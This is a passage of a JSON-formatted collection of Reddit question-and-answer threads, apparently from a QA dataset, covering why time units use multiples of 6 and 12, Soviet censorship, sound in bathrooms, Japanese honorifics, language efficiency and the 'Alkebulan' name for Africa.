\n\nIt's possible to count to sixty on your fingers. The knuckles on the fingers of one hand, and using the 4 fingers and thumb on the other to touch each one as you count. \n\nAlso works pretty well to keep track of time in seconds since movement becomes muscle memory... You can keep track of seconds passed far more easily than you can by saying 1-1000 2-1000 etc... ", "24 is nice because its divisible by 1,2,3,4,6,7,8,12\n25 is actually worse because its only divisible by 1,5,25 so if you exist in a world where only whole numbers are used, unless you wanted to only ever divide your day into 5 ths then you should go with 24, likewise for hours. I think I'm right in saying that there are no numbers less than 24 with as many factors as 24. The number 60 has similar properties but I think there are smaller numbers than 60 with as many factors - these numbers have the problem that they don't give as much granularity as 60 does because they're smaller. So you have to compromise somewhere. ", "Dividing time in half or into thirds is a useful capability. To do both of these easily, your units must be a multiple of 6. This is not just true of time; the ratios between many pre-metric units are divisible by 6.", "People keep saying it is contrived by humans. But it is ALSO based on natural phenomenon. \n\nLet's start with a naturally observable time unit: 1 day. \n\nOk, now let's go bigger. 1 day and one night. Pretty simple. \n\nNext up, you get a week. This is arbitrary. \n\nThen, you get the month, roughly 30 days. This is the amount of time it takes to fully cycle a full moon. \n\nThen, lets look at a full cycle of seasons. That is roughly 12 months/full moons. This equates to ~360 day/nights (12x30). \n\nSo a year, one full set of seasons (which has its astrological equivalent), is roughly 12 full moons, is roughly 360 day/night cycles. \n\nPretty cool. \n\n\nThe rest, within that system, *are* kinda invented, but usefully so. \n\nThe hour is 1/24 of a day night cycle. Day and night aren't really split evenly all the time, sometimes day is 12 hours, sometimes more, sometimes less. But let's let it be roughly true. \n\nNow, we can divide a day into smaller units, if we need to. Hmm.... how many, though? Well, we could make it 12, like with the number of moon cycles in a year. That would be neat. It also matches the number of knuckles in our fingers. \n\nOk, now what about minutes. Why do we even need minutes? Well, without a clock, we don't! Minutes weren't even invented until around 150 AD by Ptolemy, and *THOSE* weren't even meant for time, but for distance!\n\nSo, to recap, we started with rough estimates of observable natural phenominon, and how they relate to one another to get some primary units for timekeeping. Then, as we needed them, we created smaller units that made *some* kind of sense. \n\nLet me know if you want more. \n\nOne of the top answers here, for instance, says the Baylonians have a base 60 number system. That is true. But why? I am convinced it is because of the naturally observed phenomenon I mentioned earlier, and how well 60 works with those.\n\n\n", "Hunter-gathers used the phases of the moon to keep track of time - if you rely on the light of the full moon for hunting and traveling by, this is the simplest and most useful time marker for you. For your hunter gatherer lifestyle, your measurement of a year only needs to be accurate enough to estimate the coming of winter. There are approximately 12 complete cycles of the moon from the start of one winter to the start of the next winter. 12 is your big number to watch for. 12 is your survival number. Fun fact, the full moon was also linked to women's fertility and menstrual cycles like clockwork, so that would be another reason for them to revere the number 12. \n\nFast forward to paleolithic times, you're settled in one place long term, your food supply (agriculture) now depends on longer cycles than 29 days. You must now watch the sun and stars to determine when to plant and when to get your harvest in by. It's more complex than the phases of the moon. You spot pictures in the stars and use stories to help you remember and watch for these important signs of these important dates by which you and your people survive. These constellations are the 12 signs of the Zodiac. \n\nTwelve because (visible to you over the course of a year) there are two solstices, halfed by two equinoxes (2, 4 multiples, season markers). But these solar events are only taking place on the east-west line, about a third of your entire visible sky (give or take depending on your distance from the equator). That third is divided between east and west, so really your most important solar events are happening in 1/6th of the sky in the east, and 1/6th in the west (multiples of 6). There are whole stretches of sky to your north and south that never host any solar events. However, the rest of the sky is still important/useful to you as a subsistence farmer because it's full of constellations that provide reference points for keeping track of where you're at in time. You need accuracy in your east-west line, and you use the 12 background constellations as your \"graph paper\" to track where things line up and plan ahead since it's going to take a while before x constellation and the path of the sunrise connect, which makes the number twelve very useful for these measurements - being divisible into halves (solstices), quarters (solstices/equinoxes/seasons), and, most importantly for the farmer, sixths (\"accurate\" visual mapping of points in the solar year). \n\nEntire cultures began centering around these dates and soon you have festivals for the important ones, and then you have a society with rituals and religion that even non-farmers care about because everyone is part of the whole, then some other culture where they didn't need sixths in their model (because their model originated way further north) tells you 8 is the celestial number, so obviously you have to go to war with them and teach them the correct religion or they'll always be a threat to the \"natural order\" of the world... and pretty soon the areas of the ancient world where agriculture would flourish become the areas dictating how our minds organize time. ", "It is arbitrary.\n\nIt was invented by the Babylonians, which used base 60 numbers.\n\n[The French actually invented a better system that works better with our base 10 numbers, but fell out of use unfortunately](_URL_0_) .", "Randall Carlson is a pretty awesome dude, don't know if you've ever seen his JRE shows with Graham Hancock.  But he actually does some lectures on this very subject, it is termed \"sacred geometry.\"\n\n  [_URL_0_](_URL_0_)", "It's all in the factors. 2 and 3 are factors of 6, and show up extremely commonly. Any multiple of 6 is divisible by 2 and 3, which as you can imagine, is very useful.\n\n6 belongs to a group called \"superior highly composite numbers\" which are, simplified, numbers with a lot of factors relative to their size. 2, 6, 12, 60, 120, and 360 are the first couple of them. They also all show up fairly commonly in units.\n\nExtra tidbit that I'd really like to mention: Our general counting system is in base 10, meaning there are 10 symbols before a new digit is added. 10 has the factors of 5 and 2, which aren't particularly great (mainly used because of our 5 fingers on each hand.) Other number systems exist, like binary (base 2) and hexadecimal (base 16). A base of a superior highly composite number could potentially make counting and math in general easier, by doing things like eliminating certain repeating decimals. Some people like base 60, some like base 6, but the most popular by far is base 12, since it's certainly possible to use since it's only 2 extra symbols.\n\n & #x200B;\n\nTL;DR Lots of useful factors make working with the number 6, and other numbers, easier.", "Because, lots of useful coincidences easy to understand and use for uneducated peasants that can't count up to 100, let alone work with fractions.\n\nAbout 364 days in a year, close to 360, cool, now you have a number with a lot of useful factors (2, 3, 4, 5, 6, 10, 12) and if you look at the same time the stars you know they move around 1 degree each day, seasons prediction now available for everyone without a calendar! Even better, the sun is \"born\" inside a constellation, clearly since we already use that to predict seasons which affect much of peasant life decision like when to procreate, it has to influence other facets of our life! \n\nThe moon cycle is about 30 days, nice, also a factor of 360, and look at that, 12 moons in a year! 30 degrees each month in the sky too!\n\nSince we're already using 6 every where, and fractions are hard, why not use that for the Sun's cycle? Plus, being a \"sky neighbour\" of the Sun, it only makes sense to split that up in 12 (and because counting is hard). But damn, we sleep a third of that 12 hours, that makes only 8 hours left for the rest of the day!, plus 8 parts for a whole day is not really convenient to separate tasks that take less than an hour, so let's split the days in two! Day and night! But oh wait, the days are shorter during winter and longer during summer! So we can't use the sun's rise and fall, but it always raise high in the sky, so let's define midday when the sun is the highest! Plus, solar clock are very easy to make and use so that makes sense and is easy measure.\n\nNOTE: I don't know if it really what happened, but it just makes sense.", "Ancient Egyptians had markets and they traded stuff a lot. If you price one kilogram (actually whatever measurment unit for weight or maybe volume they used back then) of peas at 12 coins then when a customer only wants half you can quickly and, most importantly, evenly say the price will be 6 coins. Or 4 coins for a third. So when they invented the sun clock it was most intuitive to split it in 12 segments, because that way you one could easily talk about halfs, thirds and quarters as being integer numbers of segments/hours.\n\nThere are a bunch of other \"origin stories\" and all of them are equally correct in that neither of them is the real reason. The real reason is purely mathematical and humans have been using it for evenly dividing things (not just time) for a very long time. *2 x 3 x 4 = 24*.\n\n", "I appreciate the mathematical intricacies addressed so far, but I am more curious about practical considerations.\n\nFor instance, I assume that Romans used a sun dial to mark time during the day, but what about rainy days?  Many historical resources and historical fiction refer to a \"watch\" or a \"third of a watch.\"  I assume a watch involved guard duty for a period of time, but how did they accurately measure these time periods?", "Seconds in a minute, minutes in an hour, and hours in a day are actually multiples of **twelve**. \n\nIt is because a base of twelve is so much easier to count with compared to a base of ten. There are actually mathematicians who want to change our mathematical system into base twelve. \n\nExamples: \n\n**Base 10:**\n\n10/2 = 5\n\n10/3 = 3.333...\n\n10/4 = 2.5\n\n10/5 = 2\n\n10/6 = 0.1666...\n\n**Base 12:**\n\n10/2 = 6\n\n10/3 = 4\n\n10/4 = 3\n\n10/5 = 2.4\n\n10/6 = 2\n\nDuring antiquity, people didn't take for granted counting with base 10 as we do today. Base 12 is much easier and simpler for people to learn and use. That is why many old measurements are base 12.", "Once time keepers were able to accurately deal with time intervals shorter than an hour, the hour was divided into \u201csmall parts\u201d or minutia. Defined as 1/60. One minute is 1/60th of an hour. Precision further improved and the minute could be divided into minutia. This division was originally called second minutes, but later shortened to just seconds. Today, apart from Turkey and Poland, seconds are divided by ten and we flip into the decimal system for units of time shorter than an second, but originally, second minutes were also divided into third minutes called thirds. Francis Bacon even went so far as to measure some time intervals down to fourth minutes, or fourths."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://upload.wikimedia.org/wikipedia/commons/6/69/Clepsydres-sections-borchardt.jpg", "https://xjwfriends.files.wordpress.com/2018/02/babyloniannumbers.jpg?w=616"], [], [], [], [], [], ["https://en.m.wikipedia.org/wiki/Decimal_time"], ["https://www.youtube.com/watch?v=PNmkokeRmPc&amp;t=4174s"], [], [], [], [], [], []]}
{"q_id": "8gvhy1", "title": "Did the Soviet Union ever censor prominent pieces of Communist literature, such as the Communist Manifesto?", "selftext": "I am curious if the Soviets ever edited formative texts of Communism to adapt to differing ideological leanings under particular leaders. \n\nThank you.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8gvhy1/did_the_soviet_union_ever_censor_prominent_pieces/", "answers": {"a_id": ["dyfvx05", "dyfxdv5"], "score": [3, 4], "text": ["The Soviet government did indeed suppress certain documents that might be detrimental to the prevailing order.  For example, Lenin's famous Testament [wasn't first published until 1956](_URL_0_), not coincidentally the same year that Khrushchev gave his famous \"Secret Speech\" denouncing Stalin.\n\nHowever, texts as far as I'm aware weren't \"edited\" but rather narrated around in such a way to afford a different interpretation of the original.  This can be seen in Stalin's earlier work *Foundations of Leninism* though these points always bring up debate between different Marxist tendencies.", "Footing on an article on censorship in the Soviet Union (the name evades me. It was in Russian and amounted to \"what books were burnt\"):\n\nNo, the Soviet Union did not censor prominent pieces of Communist literature but after a boom in publishing all kinds of left leaning authors in the 1920s the libraries were, for example, forced to surrender a plenty of non-marxist socialists and non-bolshevik marxists (previously such purges concerned, for instance, religious literature). Under Stalin the Soviet Union first defined what pieces have been \"prominent pieces\" and it were the complete works of Marx, Engels and Lenin (and Stalin, who, however, was dropped during the khrushchev era) which were published in editions spanning dozens of tomes. The different ideological leanings (what was cited in the last few prominent speeches of the general secretary) were mirrored in shortened editions (~4 tomes) and in academics and journalists citing from the same few prominent places. \n\nThere were illegal compilations of (partly spurious) quotations published abroad and smuggled into the country in an effort to present the authors in a bad light, but in the USSR the previledge of publishing the classics belonged to very few prominent publishers (such as Politizdat) which have been all pretty good at following the party line.\n\nTo slam Stalin, Khrushchev did, for instance, dare to borrow the Marxian notion of [the personality cult](_URL_0_). It was available in the open in the complete edition before, but of course it didn't get cited or republished separately until the Destalinization."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.marxists.org/archive/lenin/works/1922/dec/testamnt/index.htm"], ["http://hiaw.org/defcon6/works/1877/letters/77_11_10.html"]]}
{"q_id": "1o3i5e", "title": "Do rooms with hard reflective walls (such as a bathroom) leak less sound?", "selftext": "I've recently been practicing my ukulele late at night in my apartment, and have wondered lately whether practicing in my bathroom (with its hard reflective walls) will leak less noise than playing in my living room.\n\nIf I can hear myself more loudly inside, does that mean that outside the room there is less noise leaked?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1o3i5e/do_rooms_with_hard_reflective_walls_such_as_a/", "answers": {"a_id": ["ccoi04i", "ccoi2rf", "ccorcnv"], "score": [9, 2, 2], "text": ["Depends on what you are comparing it to, but all else being equal: yes. If I have two closed rooms, one with hard tile walls and the other with sound-permeable drywall, less sound is going to leak from the tile wall room.\n\nHowever, this assumes that all the sound is going through the walls. In truth, you have different paths that sound can take. For example, sound might travel through a window, through an open doorway, through a closed door, through the structure of the house, etc. In this situation, the fact that the sound is reverberating longer in the tile room might actually hurt you.\n\nSo, it's all going to depend on which paths for sound are most important. For a ukelele, which is fairly high frequency, the door will block a lot of the sound. For a tuba, it probably wouldn't do much. My suggestion is to get a sound level app for your phone (you don't need something great, just good enough to do relative levels) and test the sound level yourself.\n\nIf you do this, I'm curious to see what you find! Try playing with the door open, vs closed. Then try taking all the towels/rugs out of the room (since they absorb sound) and pulling the shower curtain.Then make a comparison with some other room.", "It depends.  In addition to the transmission and reflection you are already considering there is the possibility that the sound is absorbed in the wall.  It's possible for a wall with high reflection and low absorption to transmit more sound than a wall with low reflection but high absorption.", "One thing to keep in mind: When you move to a new apartment and experience the empty rooms, you experience much more echo/hall than now, where its fully furnished. The sound situation in your bathroom might still be something else, but I just want to call the attention to a possible misinterpretation regarding the cause for the different sound.\n\nYou might even have better sound absorption (Prevention that neighbors have to endure you.) in your living room than in the \"reflective wall bathroom\". I'm not saying that this *is* so, though.\n\nAnd another thought: In the bathroom, you usually have direct pipes to the bathrooms of the other apartments above and below you, which are good at carrying sound."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "53vwlb", "title": "Did the Christianisation of Europe cause an end to tattoo art in Europe until it's reintroduction during the age of discovery?", "selftext": "Have any examples of tattoo art from this era survived?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/53vwlb/did_the_christianisation_of_europe_cause_an_end/", "answers": {"a_id": ["d7x5b24"], "score": [6], "text": ["Tattooing being rediscovered by Europeans during the age of discovery is a myth, here is a quote from Charles Pierre Claret de Fleurieu writing about Marquesan tattooing he saw in the 18th century \n\n\"We should be wrong to suppose the tattooing is peculiar to nations half-savage; we see it practised by civilized Europeans; from time immemorial, the sailors of the Mediterranean, the Catalans, French, Italians, and Maltese, have known this custom, and the means of drawing on their skin, indelible figures of crucifixes, Madonas [sic].  & c. or of writing on it their own name and that of their mistress.\"\n\nYou can read more about the myth of tattoo rediscovery by Europeans in this great article by tattoo historian Anna Friedman(the quote is pulled from her article): [The Cook Myth](_URL_0_) "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://tattoohistorian.com/2014/04/05/the-cook-myth-common-tattoo-history-debunked/#_ftn3"]]}
{"q_id": "bkgp9v", "title": "if we apply fermi's paradox to earth, is there a reason why haven't we found advanced intelligence beyond humans?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bkgp9v/eli5_if_we_apply_fermis_paradox_to_earth_is_there/", "answers": {"a_id": ["emgkxb0", "emgr7t2", "emgtbck"], "score": [14, 5, 3], "text": ["No, because the paradox doesn't apply to Earth. There is a good reason why we wouldn't find intelligent life on Earth: We killed it or mated with it until it was gone.", "I think one of the big differences is, looking at the Earth alone, it's reasonable that the human lineage (and I'm lumping all of our sister species together here since we represent a single intelligent lineage) is the first to reach advanced intelligence.  We can roughly track the history of life on earth, and what we don't see in the distant past is a lot of \"near-advanced-intelligence\"...eg, the equivalent of great apes, until relatively recently (if you want to include other things like elephants and dolphins, they are also relatively recent) .  And we definitely don't see anything like early hominins.  So it's not unreasonable that we'd be the first, we show up reasonably near the earliest we'd be expected.  \n\nBut this doesn't seem to apply to the universe at large.  Untold numbers of earthlike planets should have passed through entire lifespans before earth had even formed.  There doesn't seem to be any reason we'd be anywhere near the first time in history that an intelligent species could exist.", "Fermi's paradox is basically that, if there is \\*some\\* probability of intelligent life forming, given  the billions of trillions of stars, there should be other life.  It's sort of like the lottery - the odds of winning are really small but if you sell enough tickets, somebody will probably win.\n\nHere on Earth, we got one intelligent species.  There's no reason to assume that there would be multiples.  Buying a winning lottery ticket doesn't mean that your next ticket should be a winner."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "4clfq3", "title": "japanese names and honorifics?", "selftext": "I was recently watching an anime, and had some question about some things.\n\nBesides the regular honorifics like -kun and -chan, how do those work?\n\nWhy do the last names come first in some cases, but last in other cases?\n\nIf a person named Sinon can be referred to as Sinon-san, why do they sometimes refer to her as Sinonon as a nickname?\n\nIt's a bit confusing, and I'd like to understand it better. \n\nThanks!", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4clfq3/eli5_japanese_names_and_honorifics/", "answers": {"a_id": ["d1j7rae", "d1j9l1u", "d1ja1zj", "d1jkem2"], "score": [44, 3, 3, 9], "text": ["San, respectful for equals and peers.\n\nSama, extra polite, for people of higher rank or customers. \n\nKun, polite but for someone younger than you or lower status.\n\nChan, diminutive, for children or between lovers, kinda like saying \"sweetie\".\n\nBo, diminutive for boys (e.g. \" sport, tyke\")\n\nSenpai, academic, for students senior to you.\n\nSensei, academic, for teacher, instructor, professor", "The Japanese put Japanese family names first, though they generally do the opposite for western names. For example the manga School Rumble had the Japanese character Harima Kenji, where Kenji was his given name and Harima his family name, and Harry Mackenzie who was a transfer student.\n\nNot sure about the particulars of the \"Sinon\" situation, but it looks like the nickname is just a familiar way of calling someone, like an American calling a friend Tim \"Timbo\".", "In most asian language, your surname comes before your given name. It's just the European laguage native speakers are so used to given name before surname that it felt like a norm. \n\nIf you listen carefully, the anime characters are always referred as  < Lastname >  < Firstname > . some translator flip them around so that new anime watchers would know which is the first name. Some kept the order.", "Japanese names consist of a personal name and a family name, like in many countries.\n\nIn the Japanese language, family name comes before personal name. Fansubbers often keep the names in this order, even though this is grammatically incorrect in English.\n\nLack of honorific can, depending on context, be either incredibly rude (by indicating the person being addressed isn't worthy of the most basic courtesy) or incredibly friendly and intimate (by indicating that the person is such a close friend honorifics are unnecessary).\n\nAs for the specific honorifics...\n\n*-san* is the most common, well-known honorific, and is a generic term of respect. It's similar to the English *Mr* or *Ms*, though is used much more often in Japanese, and can be added to personal names as well as family names. This is used for someone you consider to be superior to yourself, or an equal who you don't know that well.\n\n*-sama* is very formal, and is most closely translated as *Sir, Lord, Lady,* or *Madam*. It is used when being obsequisous and when addressing people of a significantly higher social class.\n\n*-ou* (prince) and *-ojou* (princess) are used when addressing literal aristocrats, though *-ojou* is sometimes applied to any rich, posh girl.\n\n*-kun* is applied to someone of a lower social class, or an equal with whom one is friendly. Due to ideas about proper gender behaviour, it is more commonly applied to boys and men than to girls and women. The Speaker of the House generally addresses Members of the Diet as *-kun*, though Takako Doi, the first woman to hold the position, used *-san*. If Mr. Miyagi \n\n*-chan* is applied to young children; when applied to adults or teenage boys, it is belittling. Due to ideas about proper gender behaviour, girls and young women are commonly addressed as *-chan* for some time after it becomes inappropriate to address boys in the same way.\n\n*-senpai* is used by schoolkids for someone in a higher class, and sometimes by workers for someone who outranks them; it has a connotation that the senpai is some sort of mentor.\n\n*-kohai* is the counterpart of *-senpai*, and you apply it to someone who addresses you as *-senpai*."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "bt9u2v", "title": "Why is the military at sporting events?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/bt9u2v/why_is_the_military_at_sporting_events/", "answers": {"a_id": ["eowyq30"], "score": [57], "text": ["I can only give a cursory look into this, so hopefully someone else can come along after me and expand upon it.\n\nSo first off, this is more of a recent phenomenon. While there certainly have been military drives at sporting events in the past, the military seeming to have involvement in almost every single US Sports game in some fashion or the other is much more prominent post 9/11. My area of expertise is WWII, so the best example I can give you from before 9/11 was when the MLB  held an [all star war bond game. ](_URL_1_) There was also the usual flyovers or recognizing those in uniforms at games, but this was very much confined to wartime when the US was trying to project strength. However outside of wartime and war bonds, there really wasn't a ton of involvement in sports games. You have to remember that professional sports are at their core, a business. For a long time starting at about Vietnam and ending roughly at 9/11, public perception of US involvement in far off wars was viciously protested at worst, or generally ambivalent at best. So it didn't help the brand of professional sports to endorse the military, and thus the military didn't buy the time to do so very frequently as it would have been ineffective marketing.\n\nIn addition, wartime usually decimated sports teams. Great athletes usually make great soldiers, or at the very least combat ready ones. The NFL even [helped players dodge the draft during the Vietnam War. ](_URL_0_) So war, especially when the draft was active, was very bad for business for these sports teams. Thus, no sports teams that I'm aware of were actively trying to entice the military to have a greater role in their events. \n\nTo be clear with this, any sporting event you see where a military officer parachutes in with the flag, or jets do a flyover at the end of the national anthem, the US Department of Defense is paying to do so. I'm not an expert in finance, but it seems these sporting events generally don't gouge them to do so. For example, the DOD paid the NFL roughly $6 million over the course of 2011-2014 to do such promotions. While this isn't peanuts, in the scheme of the military's budget of $989 billion, it's not a very large percentage.\n\nBut this gets us to the more recent history. Post 9/11, supporting our military wasn't just popular, it was profitable. Teams looking patriotic helped to boost viewership and popularity. Hence, the relatively reasonable rates charged to the DOD for doing these promotions. I'm not entirely sure why teams don't give away the opportunity for free, and as this is Ask Historians I'm not going to guess. However from what research I was able to do and how little I was able to find, unless you contact a major sports team, you'll probably have to settle for whatever you'd guess it would be.\n\n\nMods, this is a little outside my usual realm of expertise of WWII, but I think it should suffice to the standards of the sub. Please let me know if it's not so I can either amend it, or do better in the future if it needs to be deleted. Thanks! Happy memorial weekend!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://slate.com/culture/2018/05/how-the-nfl-helped-players-dodge-the-draft-during-the-vietnam-war.html", "https://www.sportscollectorsdigest.com/the-800-million-war-bond-game/"]]}
{"q_id": "1xo0qg", "title": "Why does O2 have the same charge as a single Oxygen ion?", "selftext": "How is it possible to have H2O2 and H2O? Like, a peroxide poly-atomic ion is worth a charge of -2 yet just one oxygen ion is -2, so wouldn't a peroxide poly-atomic ion be -4?\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1xo0qg/why_does_o2_have_the_same_charge_as_a_single/", "answers": {"a_id": ["cfd52rh", "cfd58gy"], "score": [3, 2], "text": ["Oxidation states are useful for solving problems and sometimes can break down, all peroxides are considered -1 and there are even superoxides where it is considered -0.5. Hydrogen is 90% going to be +1 but there are some corner cases like LiH where H is -1. This is more of a learning method and a way to think rather than absolute science. To think about this problem in another way consider the valence state of the peroxide. There is a single bond between the oxygen molecules leaving two valence electrons for the system which are where the hydrogens attach. ", "The problem is that you're thinking of this as ionic bonding, when it's not. Water and hydrogen peroxide both rely on covalent bonds, which means that the atoms share electrons until they have a total of 2 (for hydrogen) or 8 (for most other atoms). A covalent bond is formed when two electrons are shared between two atoms, so they each feel the effects of both electrons.\n\nIn hydrogen peroxide, each oxygen atom has one bond to a hydrogen, one bond to the other oxygen, and 4 electrons just hanging out, for a total of 8. If you count up the number of electrons needed for this, you get 14. A neutral oxygen atom has 6 electrons that can be involved in bonding, while a neutral hydrogen atom has 1, so a neutral collection of 2 oxygens and 2 hydrogens should have 14. Therefore, hydrogen peroxide is actually neutral. The same is true for water; the oxygen has 1 bond to each hydrogen and 4 electrons hanging out, for a total of 8 atoms in the molecule, exactly what you'd expect for a neutral collection of 1 oxygen and 2 hydrogens. Covalently bound species can only be charged if the number of electrons needed for bonding is more or less than the neutral atoms would have."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2gsc7u", "title": "can languages be more efficient than other languages? if so what's the most efficient?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2gsc7u/eli5_can_languages_be_more_efficient_than_other/", "answers": {"a_id": ["ckm17d0", "ckm1d80", "ckm1ids", "ckm2i9n", "ckm2y6t", "ckm5ul8", "ckm5vuu", "ckm84f8", "ckmcciw", "ckmexkk"], "score": [2, 27, 3, 4, 3, 5, 4, 2, 6, 2], "text": ["Languages aren't inherently more efficient, but some words do not have translations in other languages, or are difficult to translate without changing the meaning. ", "Depends on how you define efficiency. I know of a study that compared information density to how quickly the language could be spoken. A quick graph from a [study](_URL_0_) on that. Basically, as languages become more information dense (like English and Mandarin) they become harder to speak quickly without loss of understanding.\n\nThe general conclusion from that study is that all languages are fairly comparable if you factor in both, they just make trade offs between the two goals to varying degrees.", "It really depends on what you consider to be efficient.\n\nIn some ways English is an efficient language because you can drop many of the unnecessary words and use short forms if necessary to quickly communicate ideas in a short and concise manner. For example, instead of writing \"Take the dirty dishes to the sink\" you can simply write \"Dirty dishes to sink\". In this way, English is unlike many other languages (e.g. French) which typically do not permit such shortened forms.\n\nSome languages also have a much larger vocabulary (e.g. German) which means there are single words (e.g. Schadenfreude) that represent an idea/concept that may take several words or sentences to represent in English (e.g. 'when you take pleasure from the misfortune of others').\n", "Follow up question: Can sign languages be more efficient at conveying precise meaning than spoken languages due to the visual (and emotional) nature of it?", "[Esparanto](_URL_0_) is a constructed language and therefore avoids some common problems of languages that arose naturally.", "Being bilingual in Arabic and English, and now trying to learn Dutch, I find it a very inefficient language. Too many rules because of a lack of consistency. \n\nFor example, you can structure a sentence like \"Ik ga op Zaterdag naar de bioscoop\", which means \"I will go to the cinema on Saturday\". In English you can write \"On Saturday, I will go to the cinema.\" But if you want to write it Dutch, it would be \"Op Zaturday, ga Ik naar de bioscoop.\" It's a slight difference, but it gets more complex with with sentences that have multiple clauses. \n\nTo me a language being efficient means you can jumble up parts of it, say subject, verb, auxiliary verbs, etc, and you don't have to change much of it. \n\nThough they have one thing I like, if you have a second verb in the sentence or clause, it goes at the end of that respective sentence/clause. \n\n", "Does sign language count?", "This probably isn't exactly what you're asking, but some languages have more or fewer consonants than others, which means words will have to be longer. Many Pacific languages like Hawaiian and Maori languages have only like 6 or 7 consonants, which means they have a lot of extremely long words. English has about 20-25 consonants, which is an average amount. And there are languages with even more consonants than that. ", "There was an article in Forbes, in 1987 about how Sanskrit is the most efficient language for AI and computational purposes. I have not read that issue, but I have learned a little bit of Sanskrit in school  &  it was an extremely versatile language. The constructs and grammatical twists that one can accomplish in the language seem limited only by one's creativity. There was this poem that in it entirety told two different stories, one of them absolutely false, so you knew which story it was talking about. Also, contrary to common world opinion, Sanskrit is not yet dead, there are very small pockets in India where Sanskrit is still spoken. ", "Veritasium has a [video](_URL_0_) explaining this. Basically, some languages have more information (e.g.) per syllable, but this is countered by slower speech, making all languages roughly equally efficient. The real limit to communication is how quickly the brain can interpret information. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://i.imgur.com/wHjuO.jpg"], [], [], ["http://en.wikipedia.org/wiki/Esperanto"], [], [], [], [], ["https://www.youtube.com/watch?v=zUDqI9PJpc8"]]}
{"q_id": "1r4u4h", "title": "Is there any truth to the idea that the earliest name for Africa was \"Alkebulan\" and that it's the only name of indigenous origin?", "selftext": "I recently saw a short post on tumblr stating that Alkebulan, or Alkebu-lan, is the oldest and only indigenous name for Africa. I've done some searching, but all I seem to find on the topic either comes from special interest groups, or seem extremely revisionary. It seems like Alkebulan is a legitimate title that was once used to describe the continent, but should it be considered the \"right\" name?  \n  \nAs an aside, I've also found a lot of people claiming that \"Africa\" shouldn't be used because Roman invaders intended the name to separate natives from their culture, but isn't that true of many place names all across Europe as well as Africa and the Middle East, that are still in use?  \n  \nEdit: Is there any way to add an \"African History\" flair to this post?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1r4u4h/is_there_any_truth_to_the_idea_that_the_earliest/", "answers": {"a_id": ["cdjlwn6", "cdjmc08", "cdjmz34", "cdkfveh"], "score": [29, 114, 5, 2], "text": ["Africa *was* what the Roman called the region which roughly lies where Tunisia is today, and that definition later expanded out to designate the whole landmass south of the Mediterranean. Similarily, Asia was originally was what the Greeks called the region east of the Aegean sea. However it's important to note that we don't quite know the origin of these names. They could very well have their origin in indigenous names of peoples/tribes/areas/places in Africa or Asia respectively.\n\nI also don't know what really \"indigenous\" would mean in this context. Africa is a vast continent with many languages, and I doubt many (if any at all) would know about the concept of \"the continent Africa\" before modern times.\n\nFinally. What language would \"Alkebulan\" be in? My guess is that Alkebulan would be one of many names for a, to the \"inventing\" people, known landmass *in* what is nowadays defined as Africa.", "After doing some *very, very* brief looking into this, it seems like completely bullshit. I'm referring to [this source](_URL_0_) for it, which is what pops up on Google first. Let's break this down a little bit.\n\nFirst, note that there is nothing coming up in Google except people claiming that it is an indigeonous word for Africa, and nothing providing cited sources *why* that's the case. This is a poor start.\n\nLet's start off with this\n >  The Original name for Africa is  :Alkebulan: Arabic for \"The Land Of The Blacks\"\n\nI don't know Arabic, but I know enough that this would have to break down as 'al-Kebulan', with the *al-* prefix being a definite article. So, we have a supposed word *kebulan. I can't find this word, or possible derivations of it. I would guess it would have the root of either k-b-l or b-l-n. My guess is towards the former, as (IIRC) Arabic uses nasals in derivational morphology more often than other consonants.\n\nSo basically, so far it seems like there's no evidence that 'Alkebulan' is an Arabic word.\n\nFurthermore, why would this be indigenous? Because of the native Muslims of Northern Africa? The spread of Arabic is tied to the spread of Islam, and Islam post-dates the Roman Empire (well, the western Roman Empire) by several centuries. This website itself claims that Africa is a colonial term of the Romans, yet it seems to predate the supposed indigenous name.\n\nAnd as for that claim of Roman colonialism:\n >  Africa, the current name adopted by almost everyone today , was given to this continent by a European invader by the name of Louis Africanus.\n\nOkay so, let's start with 'Louis Africanus'. \"Loius\" is a French name of Germanic origin, with the French as a culture at the *earliest* dating to several centuries after the fall of Rome. No Roman would have been named Loius. Furthermore, referring to him as a 'European invader' implies some cultural solidarity between the Romans and other European people, but at the time of the Romans there was no European identity, no common European culture (not to say there still is today, but there is certainly a distinct cultural zone in Europe, which was not present c. 1-300 AD).\n\nOn top of *that*, a quick Google search gives me no indication that such a person existed. This is unsurprising, given that it is as anachronistic as someone from medieval England being called \"Sunflower Abbey\".\n\n >  Like all methods of manipulation the Romans sought to completely disconnect the indigenous Africans from their culture, deities, and knowledge.\n\nThis was not the modus operandi of the Romans. Refer to their treatment of just about *everyone* in the Roman provinces. The standout is Judae. The Jews kept their religious beliefs, customs, culture, and identity, and what really screwed them was only because they fought back against Roman incursion into their culture.\n\nThis is really just some neo-, pan-African-nationalist bullshit someone came up with to turn Europeans into evil invaders. Consider that Africa has a *two hundred and fifty thousand year history* of human life. While most of that is unrecorded, humans were almost-certainly using language by 50kya. Even today, Africa is a linguistically-diverse continent, with at least two thousand languages spread over six language families. To claim that there is a single toponym for such a vast area is absurd.", "Not an Arabic speaker, but on a related note, isn't the name Zanzibar supposed to mean 